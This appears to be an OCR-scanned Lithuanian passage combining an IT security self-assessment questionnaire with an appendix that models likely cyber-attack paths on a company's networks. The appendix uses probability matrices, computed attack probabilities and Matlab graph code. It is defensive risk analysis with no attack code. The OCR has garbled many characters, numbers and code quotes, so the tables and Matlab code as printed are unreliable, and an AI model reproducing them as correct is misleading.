Ar isSbandote kurtas programas, kad nustatytuméte, ar yra saugumo trikumy, jskaitant | ] Taip O Ne
kodavimo klaidas ir kenke¢jiskg programine jrangg?
Ar turite testing aplinka? O Taip [J Ne
Jei taip, ar testiné aplinka atskirta nuo produkcinés? O Taip 00 Ne
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| Ar esate jdiegg tokias taikomyjy programy uzkardas, kurios tikrina visg duomeny srauta? | [J Taip [ Ne
6. Tinklo saugumas.
Tinklo prieiga.
Ar visi interneto prieigos taskai apsaugoti kompiuteriy jrangos uzkardomis? O Taip O Ne
Ar uztikrinta, kad siekiant uzkirsti kelig prieigai prie neleistiny iSoriniy interneto svetainiy, | ] Taip O Ne
yra individualiai pritaikyta standartiné konfigiiracija?
Ar esate jdiege tinklo atskyrimg (pvz., demilitarizuota zona - DMZ)? O Taip [J Ne
Ar naudojate NAT (tinklo adresy transliacijg)? O Taip (I Ne
Ar esate visapusiskai jdiege tinklo prieigos kontrolés technologija? O Taip [J Ne
Ar naudojate kokig nors DLP (duomeny praradimo prevencijos) technologijg, pvz., tinklo | [J Taip [ Ne
sietuvg?
Belaidziy tinkly saugumas.
Ar turite belaidzio (-iy) tinklo (-y)? O Taip [J Ne
Jeigu taip, ar taikote WEP apsaugos standarta savo belaidziuose tinkluose? [ Taip (I Ne
Jeigu taip, ar taikydami WPA2 standartg uZztikrinate, kad jiisy belaidziai tinklai uzkirsty | ] Taip O Ne
kelig neleistinai prieigai?
Isibrovimo aptikimas.
Ar jUs stebite savo tinkla taikydami paskirstytos jsibrovimo aptikimo sistema (DIDS)? O Taip 00 Ne
Ar jus stebite savo tinklg taikydami belaidzio tinklo jsibrovimo aptikimo sistema (WIDS)? | J Taip [J Ne
Ar jUs stebite savo tinkla taikydami mazgy jsibrovimo aptikimo sistema (HIDS)? O Taip O Ne
Ar jiis stebite savo tinkla taikydami tinklo jsibrovimo aptikimo sistema (NIDS)? O Taip [J Ne
Ar jUs stebite savo tinklg taikydami Tinklo funkcionavimo analizés isibrovimo aptikimo | ] Taip OO Ne
sistemg (MINDS)?
7. Prieigos kontrolé.
Ar apribojate savo darbuotojy teises atsizvelgdami | tai, ar reikia jmonei, kad biity suteiktos | ] Taip O Ne
tos teisés, ir ar reikia zinoti darbuotojui?
Ar draudziate turéti vietiniy administratoriy teises darbuotojams skirtose kompiuterizuotose | ] Taip O Ne
darbo vietose?
Ar stebite vartotojus, turinCius auSto lygio prieigos teises? (pvz., domeno/lokaliy | (] Taip [ Ne
administratoriy paskyros ir jy atlickami veiksmai)?
Ar prieiga prie jmonés (infrastruktiros), duomeny centro (-y) ir jrangos, pvz., serveriy, | [J Taip [ Ne
kompiuterizuoty darbo viety ir saugojimo laikmeny, jskaitant jraSus popieriuje, kuriuose
yra jslaptintos informacijos, yra fiziniu biidu apsaugota?
Ar turite jdiegta BYOD (,,atsinesti savo jrenginj*) politika? O Taip O Ne
Slaptazodziy politika.
Ar turite politika, pagal kurig reikalaujama taikyti stiprius (sudétingus) slaptazodzius? O Taip O Ne
Ar visi naudotojai turi stiprius (sudétingus) slaptazodzius? O Taip [J Ne
Ar periodiniu daznumu reikalaujama keisti slaptazodzius? O Taip 00 Ne
Nuotoling prieiga.
Ar suteikiate nuotoling prieiga prie savo sistemy (tinkly)? O Taip O Ne
Jei taip, ar nuotolinés prieigos apsaugg uztikrinate naudojant ID ir slaptazodziu? O Taip [J Ne
Jei taip, ar nuotolinés prieigos apsaugg uZtikrinate naudojant VPN ar lygiaverte priemone? | [ Taip [1 Ne
Jei taip, ar nuotolinés prieigos apsauga uztikrinate naudojant VPN arba lygiaverte priemone | ] Taip O Ne

su dviem tapatybés nustatymo faktoriais?
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8. Rizikos vertinimas, incidenty valdymas, atkiirimas po stichiniy nelaimiy ir tkinés

veiklos nenutrukstamumas.

Rizikos vertinimas.

Ar periodiSkai tikrinate paZzeidziamumy buvima ir ar reguliariai atliekate IT sistemos rizikos | [J Taip [ Ne
ir saugumo vertinimus?
Pazeidziamumy buvimo patikrinimg ir rizikos vertinimg atlickate jsivertindami patys? O Taip (I Ne
PazeidZiamumy buvimo patikrinima ir rizikos vertinimg atliekate pasitelkdami iSorinj | [J Taip [J Ne
paslaugy teikéja?
Ar itin svarbls pazeidZziamumai iStaisomi ir ar laikomasi rekomendacijy? O Taip O Ne
Ar atliekate jsilauzimo galimybés jvertinimo testus visame savo tinkle? O Taip (I Ne
Incidenty valdymas.
Ar turite reagavimo | incidentus plang duomeny paZeidimo, jsibrovimo j tinklg arba | [0 Taip [ Ne
uzkrétimo kompiuteriniais virusais atvejais?
Ar $is planas reguliariai perzilirimas ir atnaujinimas? O Taip OO Ne
Ar §is planas reguliariai iSbandomas? O Taip [0 Ne
Ar paSalinamos nustatytos problemos? O Taip [0 Ne
Ar jusy reagavimo | incidentus plane yra alternatyvils variantai pasiaiSkinti, kad kalta | 0 Taip (0 Ne
netinkama trecioji Salis paslaugy teikéjas, nuo kurio jus priklausote?
Atkiirimas po stichiniy nelaimiy.
Ar turite atkiirimo po stichiniy nelaimiy plang? O Taip OO Ne
Ar §is planas reguliariai perZilirimas ir atnaujinamas? O Taip O Ne
Ar $is planas reguliariai iSbandomas? O Taip [0 Ne
Ar paSalinamos nustatytos problemos? [ Taip O Ne
Ukinés veiklos nenutriikstamumas.
Ar reguliariai bei automatiskai kuriate atsargines duomeny kopijas? O Taip (1 Ne
Ar svarbiausi duomenys ir atsarginés kopijos yra saugomos bent keliose viena nuo kitos | [J Taip [J Ne
fiziSkai nutolusiuose vietose ir skirtingo tipo laikmenose?
Ar atlikote su IT susijusiy grésmiy poveikio verslui analizg? O Taip [0 Ne
Ar turite Gikinés veiklos nenutriikstamumo uztikrinimo plang? O Taip O Ne
Ar §is planas reguliariai perzitirimas ir atnaujinamas? O Taip OO Ne
Ar §is planas reguliariai iSbandomas? O Taip [0 Ne
Ar imamasi koregavimo veiksmy ir ar poky¢iai iSbandomi? O Taip [0 Ne
9. Kompetencija.
Ar rengiate reguliarius mokymus tam, kad pagerintuméte savo darbuotojy supratimg apie | [J Taip [J Ne
informacijos sauguma?
Ar mokymai, skirti supratimui apie saugumg gerinti, skirtingiems dalyviams (pvz., | (J Taip (I Ne
standartiniams ir privilegijuotiems naudotojams, IT&T darbuotojams, vadovams) biina
skirtingi?
Ar esate jdiegg procediirg, pagal kurig darbuotojai parengiami taip, kad buty lankstesni ir | [J Taip [J Ne

budresni suklastoty el. laisky siuntinéjimo atvejais, pvz., yra automatiné nuoroda i
privalomus mokymus (internete) po jvykusio atsako j suklastoty el. laisky antplud;?
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7 priedas. Kibernetinés atakos prognozavimo modelis

Ivertinant UAB ,,Mokslas* iSoriniame IT&T tinkle rastus pazeidziamumus ] kibernetinés atakos
prognozavimo modelj nejtrauksime duomeny saugumo patikrinimo metu vertintg IKE agresyvaus
rezimo mai$os nutekinimo pazeidziamumg, nes eksperimento metu pastebéta, kad slaptazodzio
parinkti turimai maiSai nepavyko. Taip pat nejtrauksime atsparumo atsisakymo aptarnauti atakoms
vertinima, nes $is atakos tipas yra savitas realizavimo prasme.

Kibernetinés atakos prognozavimo modelio skai¢iavimus atliksime programinés jrangos Matlab'>
pagalba.

Suformuojame UAB ,,Mokslas* iSorinio IT&T tinklo kibernetinés atakos matricas:

1 lentelé. UAB ,,Mokslas® iSorinio IT&T tinklo pazeidziamumy panaudojimo matrica

2 lentelé. UAB ,,Mokslas* 1Sorinio IT&T tinklo kibernetinés atakos vektoriaus matrica

Pazeidziamumy panaudojimo matrica (1 lentel¢);
Kibernetinés atakos vektoriaus matrica (2 lentelé).

V;j Vi V2 Vs V4 Vs
Ei

E: 0 0,17 0,17 0,33 0
E: 0,33 0,17 0,17 0,33 0
E; 0 0,17 0,17 0 0
E4 0,33 0,17 0,17 0 0
Es 0 0,17 0,17 0 0
Es 0,33 0,17 0,17 0,33 1

E; E1 Ez Es E4 Es Es
Vi
Vi 0,17 0,17 0,17 0,17 0,17 0,17
V2 0,17 0,17 0,17 0,17 0,17 0,17
Vs 0,17 0,17 0 0 0 0,17
\Z 0 0 0 0 0 1
Vs 0 0 0 0 0 0

Suformuojame UAB ,,Mokslas* iSorinio IT&T tinklo kibernetinés atakos grafa (1 pav.).

13 https://www.mathworks.com/products/matlab.html
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Kibernetines atakos grafas
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1 pav. UAB ,,Mokslas* iSorinio IT&T tinklo kibernetinés atakos grafas

Atliekame vidurkinio kibernetinés atakos kelio paskai¢iavimg ir visy galimy kibernetinés atakos keliy
modeliavimg. Kadangi ataka gali biti pradéta rengti panaudojus E2 ir/arba E4 ir/arba ES5
pazeidziamumus tai atlickame trumpiausio kibernetinés atakos kelio paskaiciavimg panaudojus Siuos

pazeidziamumus (2 pav.).

12

10

2 pav. UAB ,,Mokslas® iSorinio tinklo vidurkiné kibernetiné ataka

Suformuojame UAB ,,Mokslas* iSorinio IT&T tinklo kibernetinés atakos peréjimo matricas:

*%

%

Vidurkiniu kibernetiniu ataku medis
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- Pazeidzamumy panaudojimo peré¢jimo matrica (3 lentelé);

- Kibernetinés atakos vektoriaus peréjimo matrica (4 lentele).
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Sudarome kibernetinés atakos prognozavimo modelj, sudarant pazeidziamumy panaudojimo
tikimybines prognozavimo peréjimo matricg (3 lentele) ir kibernetinés atakos vektoriaus tikimybines

prognozavimo per¢jimo matricg (4 lentelé).

3 lentelé. UAB ,,Mokslas* iSorinio IT&T tinklo pazeidziamumy panaudojimo tikimybines prognozavimo

peréjimo matrica

T; T T2 T3 T4 Ts
Si

S1 0 0,08 0,08 0,16 0
Sz 0,27 0,14 0,14 0,27 0
S3 0 0,08 0,08 0 0
S4 0,18 0,09 0,09 0 0
Ss 0 0,09 0,09 0 0
Se 0,18 0,13 0,13 0,26 0,78

4 lentelé. UAB ,,Mokslas“ iSorinio IT&T tinklo kibernetinés atakos vektoriaus tikimybines prognozavimo

peréjimo matrica

Si S1 Sz S3 S4 Ss Se
Ti
T: 0,08 0,14 0,08 0,09 0,09 0,13
T, 0,08 0,14 0,08 0,09 0,09 0,13
T3 0,16 0,27 0 0 0 0,26
T4 0 0 0 0 0 0,78
Ts 0 0 0 0 0 0

Atliekame labiausiai tikétino kibernetinés atakos kelio paskaic¢iavima. Kadangi ataka gali biiti pradéta
rengti panaudojus E2 ir/arba E4 ir/arba E5 pazeidziamumus tai atlieckame trumpiausio greitos
kibernetinés atakos kelio paskai¢iavimg panaudojus Siuos pazeidziamumus (3 pav.).

Labiausiai tiketina prognozuojama kibernetine ataka
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3 pav. UAB ,,Mokslas* iSorinio IT&T tinklo kibernetinés atakos labiausiai tikétinas kibernetinés atakos
kelias.
Taip pat paskaiciuojame labiausiai tikétinos kibernetinés atakos tikimybe:

KAT = (6.07/9)*100=67.44 proc.

Ivertinant UAB ,,Mokslas* IT&T vidiniame tinkle rastus pazeidziamumus j greitos kibernetinés
atakos prognozavimo modelj nejtrauksime Tinklo jrangos konfigiiracijos patikrinimo metu vertinta
neapsaugotos prieigos prie vidinio tinklo pazeidziamuma, nes eksperimento metu prijungtam tinklo
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jrenginiui nebuvo suteiktas IP adresas naudojant DHCP protokolg. Taip pat nejtrauksime Tinklo

irangos

konfigiiracijos

patikrinimo metu vertintg NBNS / LLMNR pakety klastojimo
pazeidziamuma, nes eksperimento metu nebuvo s¢kmingai parinkti slaptazodziai.

Suformuojame UAB ,,Mokslas* vidinio IT&T tinklo kibernetinés atakos matricas:

5 lentelé. UAB ,,Mokslas‘ vidinio IT&T tinklo paZzeidZamumy panaudojimo matrica

Pazeidzamumy panaudojimo matrica (5 lentel¢);
Kibernetinés atakos vektoriaus matrica (6 lentelé).

V;j Vi V2 Vs V4 Vs
Ei
E1 0,2 0 0 0,09 0,2
E: 0,2 0,1 0,1 0,09 0,2
Es 0 0,1 0,1 0,09 0
E4 0,2 0,1 0,1 0,09 0,2
Es 0 0,1 0,1 0,09 0
E¢ 0 0,1 0,1 0,09 0
Es 0,2 0,1 0,1 0,09 0,2
Es 0 0,1 0,1 0,09 0
Eo 0 0,1 0,1 0,09 0
Eo 0 0,1 0,1 0,09 0
En 0,2 0,1 0,1 0,09 0,2
6 lentelé. UAB ,,Mokslas* vidinio tinklo IT&T kibernetinés atakos vektoriaus matrica.
E;j E: E: Es E4 Es Es E; Es Eo E1o En
Vi
Vi 0,1 0,1 0,1 0,1 0,1 0,1 0,1 0,1 0,1 0,1
V2 0,1 0,1 0,1 0,1 0,1 0,1 0,1 0,1 0,1 0,1
A& 0,09 0,09 0,09 0,09 0,09 0,09 0,09 | 0,09 | 0,09 | 0,09 | 0,09
\Z 0,2 0,2 0,2 0,2 0,2
Vs

Suformuojame UAB ,,Mokslas* iSorinio IT&T tinklo kibernetinés atakos grafg (4 pav.).

Kibernetines atakos grafas
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4 pav. UAB ,,Mokslas* vidinio IT&T tinklo kibernetinés atakos grafas.

Atliekame vidurkinio kibernetinés atakos kelio paskai¢iavima ir visy galimy kibernetinés atakos keliy
modeliavima. Kadangi ataka gali biiti pradéta rengti panaudojus E1 ir/arba E2 ir/arba E4 ir/arba E7
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ir/arba E11 pazeidziamumus tai atlieckame trumpiausio kibernetinés

panaudojus Siuos pazeidziamumus (5 pav.).

Vidurkiniu kibernetiniu ataku medis
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5 pav. UAB ,,Mokslas* vidinio IT&T tinklo vidurkiné kibernetiné ataka.

Suformuojame UAB ,,Mokslas* iSorinio IT&T tinklo kibernetinés atakos peré¢jimo matricas:

- Pazeidzamumy panaudojimo peré¢jimo matrica (7 lentelé);

- Kibernetinés atakos vektoriaus peréjimo matrica (8 lentele).

Sudarome kibernetinés atakos prognozavimo modelj, sudarant pazeidZamumy panaudojimo
tikimybines prognozavimo peréjimo matricg (7 lentelé) ir kibernetinés atakos vektoriaus tikimybines
prognozavimo per¢jimo matricg (8 lentele).

7 lentelé. UAB ,,Mokslas“ vidinio IT&T tinklo pazeidzamumy panaudojimo tikimybines prognozavimo

peréjimo matrica

Tj Ti Tz Ts Ty Ts
Si

S1 0.11 0.05 0.11

Sa 0.09 0.05 0.05 0.04 0.09

Ss 0.06 0.06 0.06

S4 0.18 0.09 0.09 0.08 0.18

Ss 0.06 0.06 0.05

Se 0.06 0.06 0.05

Sy 0.15 0.07 0.07 0.07 0.15

Ss 0.06 0.06 0.05

So 0.06 0.06 0.05

S10 0.05 0.05 0.04

Su 0.11 0.05 0.05 0.05 0.11

8 lentelé. UAB ,,Mokslas*“ vidinio IT&T tinklo vektoriaus tikimybines prognozavimo peréjimo matrica
Sj S1 Sz Ss S4 Ss Se S7 Ss S S1o Su
Ti

Ti 0.05 0.06 0.09 0.06 0.06 0.07 | 0.06 | 0.06 | 0.05 | 0.05
T2 0.05 0.06 0.09 0.06 0.06 0.07 | 0.06 | 0.06 | 0.05 | 0.05
T3 0.05 0.04 0.06 0.08 0.05 0.05 0.07 | 0.05 | 0.05 | 0.04 | 0.05
T4 0.11 0.09 0.18 0.15 0.11
Ts
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Atliekame labiausiai tikétino kibernetinés atakos kelio paskai¢iavima. Kadangi ataka gali biiti pradéta
rengti panaudojus E1 ir/arba E2 ir/arba E4 ir/arba E7 ir/arba E11 pazeidziamumus tai atliekame
trumpiausio greitos kibernetinés atakos kelio paskai¢iavimg panaudojus Siuos pazeidziamumus (6

pav.).

Labiausiai tiketina p j kibernetine ataka
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6 pav. UAB ,Mokslas* vidinio tinklo IT&T labiausiai tikétinas kibernetinés atakos kelias.
Taip pat paskaic¢iuojame labiausiai tikétinos kibernetinés atakos tikimybe:
KAT = (7.97/9)*100=88.56 proc.

Pateikiame Matlab programinés jrangos koda, kuris leidzia atlikti kibernetinés atakos prognozavimo
modelio skai¢iavimus:

% Isorinio ir vidinio UAB ,,Mokslas * tinklo kibernetines atakos prognozavimas

clear all

close all

clc

% Suformuojame kibernetines atkakos grafa

% Isorinio tinklo virsunes ir briaunos
%Veg=[12344444455555566679101112131415161718192021222324];
%Eg=[44491011121314151617181920212223245555556666667778];

% names = {'E2 "'E4"'E5 "'V1''V2"'V3''V4''V5''E]l''E2' '/E3" 'E4''E5''E6' 'E1 ''E2 '"'E3 '"'E4 '"'E5 '"'E6 ''EI '’
E2 ""E6 ' E6 ),

% Isorinio tinklo svoriai

% weightsv = [0.33 0.330.330.170.17 0.17 0.17 0.17 0.17 0.17 0.17 0.17 0.17 0.17 0.17 0.33 0.33 0.33 1 0.17 0.17
0.170.170.170.17 0.17 0.17 0.17 0.17 0.17 0.17 0.33 0.33 0.33 1];

% Vidinio tinklo virsunes ir briaunos
Vg=[12345666666666677777777778888888888899999111213141516171819202122
23242526272829303132333435363738394041 42434445 46];
Eg=[66666111213141516171819202122232425262728293031323334353637383940414243
44454677777777778888888888999999999991010101010];

names = {'E1"'E2 "'E4"'E7 "'ELl"'VI''"V2''V3''V4"'V5''E2"'E3"'E4'"'E5''E6' 'E7"'E8' 'E9" 'E10" 'E11''E2 "'E3 '
'E4 "'E5 '"'E6 '"'E7 '"'E8 ''E9 "'E10 ''Ell ''El ' 'E2 ''E3 '"'E4 '"'E5 '"'E6 ''E7 '"'E8 '"'E9 '""EI0 ''Ell
""El ""E2 ' E4'"E7 "' EIl")

% Vidinio tinklo svoriai
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weightsv = [0.20 0.20 0.20 0.20 0.20 0.10 0.10 0.10 0.10 0.10 0.10 0.10 0.10 0.10 0.10 0.10 0.10 0.10 0.10 0.10 0.10
0.100.100.10 0.10 0.09 0.09 0.09 0.09 0.09 0.09 0.09 0.09 0.09 0.09 0.09 0.20 0.20 0.20 0.20 0.20 0.10 0.10 0.10 0.10
0.100.100.100.10 0.10 0.10 0.10 0.10 0.10 0.10 0.10 0.10 0.10 0.10 0.10 0.10 0.09 0.09 0.09 0.09 0.09 0.09 0.09 0.09
0.09 0.09 0.09 0.20 0.20 0.20 0.20 0.20] ;

% grafo sudarymas ir rezultatu atvaizdavimas

G = digraph(Vg, Eg,weightsv,names);

G.Edges

Sigure (1)

% plot(G,'EdgeLabel’,G.Edges. Weight, 'ArrowSize’, 10)

plot(G,'ArrowSize’, 10)

title('Kibernetines atakos grafas')

% Suformuojame vidurkiniu marsrutu grafa

Gpp = digraph(Vg, Eg,weightsv,names);

% Skaiciuojame trumpiausia vidurkines kibernetines atakos kelia is vienos vietos ir ji atvaizduojame

figure (2)

psv = plot(Gpp,'EdgeLabel’,Gpp.Edges. Weight, 'ArrowSize’, 10),

[pathinv,d] = shortestpath(Gpp, 1,10,'Method', positive');

title('Vidurkine kibernetine ataka');

highlight(psv,pathinv, ' EdgeColor','r', 'LineWidth', 3)

% Skaiciuojame trumpiausia vidurkines kibernetines atakos kelia is keliu pradzios vietu ir ji atvaizduojame

TRsv = shortestpathtree(Gpp,[1 2 3 4 5],10);

figure (3)

psv = plot(Gpp,'EdgeLabel’,Gpp.Edges. Weight, 'ArrowSize’, 10),

title("Vidurkiniu kibernetiniu ataku medis’);

highlight(psv,TRsv, 'EdgeColor','r', 'LineWidth', 3)

% Skaiciuojame galimai trumpiausia kibernetines atakos kelia ir jo tikimybe

% Isorinio tinklo tikimybes

% weightst = [0.27 0.18 0.18 0.08 0.14 0.08 0.09 0.09 0.13 0.08 0.14 0.08 0.09 0.09 0.13 0.16 0.27 0.26 0.78 0.08 0.14
0.08 0.09 0.09 0.13 0.08 0.14 0.08 0.09 0.09 0.13 0.16 0.27 0.26 0.78];

% weightsf = [0.73 0.82 0.82 0.92 0.86 0.92 0.91 0.91 0.87 0.92 0.86 0.92 0.91 0.91 0.87 0.84 0.73 0.74 0.22 0.92 0.86
0.920.910.910.87 0.92 0.86 0.920.91 0.91 0.87 0.84 0.73 0.74 0.22];

% Vidinio tinklo tikimybes

weightst = [0.11 0.09 0.18 0.15 0.11 0.05 0.06 0.09 0.06 0.06 0.07 0.06 0.06 0.05 0.05 0.05 0.06 0.09 0.06 0.06 0.07
0.06 0.06 0.05 0.05 0.05 0.04 0.06 0.08 0.05 0.05 0.07 0.05 0.05 0.04 0.05 0.11 0.09 0.18 0.15 0.11 0.05 0.06 0.09 0.06
0.06 0.07 0.06 0.06 0.05 0.05 0.05 0.06 0.09 0.06 0.06 0.07 0.06 0.06 0.05 0.05 0.05 0.04 0.06 0.08 0.05 0.05 0.07 0.05
0.050.040.050.11 0.090.180.150.11];

weightsf = [0.89 0.91 0.82 0.85 0.89 0.95 0.94 0.91 0.94 0.94 0.93 0.94 0.94 0.95 0.95 0.95 0.94 0.91 0.94 0.94 0.93
0.94 0.94 0.95 0.95 0.95 0.96 0.94 0.92 0.95 0.95 0.93 0.95 0.95 0.96 0.95 0.89 0.91 0.82 0.85 0.89 0.95 0.94 0.91 0.94
0.94 0.93 0.94 0.94 0.95 0.95 0.95 0.94 0.91 0.94 0.94 0.93 0.94 0.94 0.95 0.95 0.95 0.96 0.94 0.92 0.95 0.95 0.93 0.95
0.950.96 0.95 0.89 0.91 0.82 0.85 0.89];

Gpt0 = digraph(Vg,Eg,weightst,names);

Gpt = digraph(Vg, Eg,weightsf,names),

% Skaiciuojame galimai trumpiausia trumpiausia kelia is vienos vietos ir ji atvaizduojame
figure (4)

pf = plot(Gpt,'EdgeLabel’,Gpt0.Edges. Weight, 'ArrowSize', 10);

[pathf,dt] = shortestpath(Gpt,4,10,'Method', positive’)

% Paskaiciuojame kibernetines atakos tikimybe

path=length(pathf)-1

kat=(dt/path)*100

title('Labiausiai tiketina prognozuojama kibernetine ataka');

highlight(pf,pathf,'EdgeColor’,'r", 'LineWidth', 3)

% Skaiciuojame galimai trumpiausia kelia is keliu pradzios vietu ir ji atvaizduojame

TRf = shortestpathtree(Gpt,[1 2 3 4 5],10);
figure (5)

pf = plot(Gpt,'EdgeLabel’,Gpt0.Edges. Weight, 'ArrowSize', 10);
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title('Labiausiai tiketinu prognozuojamu kibernetiniu ataku medis');

highlight(pf, TRf,'EdgeColor','r', 'LineWidth', 3)
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